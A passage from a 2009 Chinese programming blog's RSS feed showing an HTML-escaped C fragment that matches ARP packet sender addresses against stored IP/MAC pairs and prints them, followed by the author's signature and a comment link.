(((toipandmac.ip==htonl(arp-&gt;arp_spa))&amp;&amp;(toipandmac_flag==FALSE))<br>||((myipandmac.ip==htonl(arp-&gt;arp_spa))&amp;&amp;(myipandmac_flag==FALSE))<br>||((oipandmac.ip==htonl(arp-&gt;arp_spa))&amp;&amp;(oipandmac_flag==FALSE)))<br>{<br>memset(szTemp,0,sizeof(szTemp));<br>memcpy(szTemp,&amp;arp-&gt;arp_spa,sizeof(arp-&gt;arp_spa));<br>printf("[IP]:");<br>printf("%s",inet_ntoa(*((struct in_addr *)szTemp)));<br>pr</code></p>
<img src ="http://www.cppblog.com/binghuo/aggbug/76066.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 07:58 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76066.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>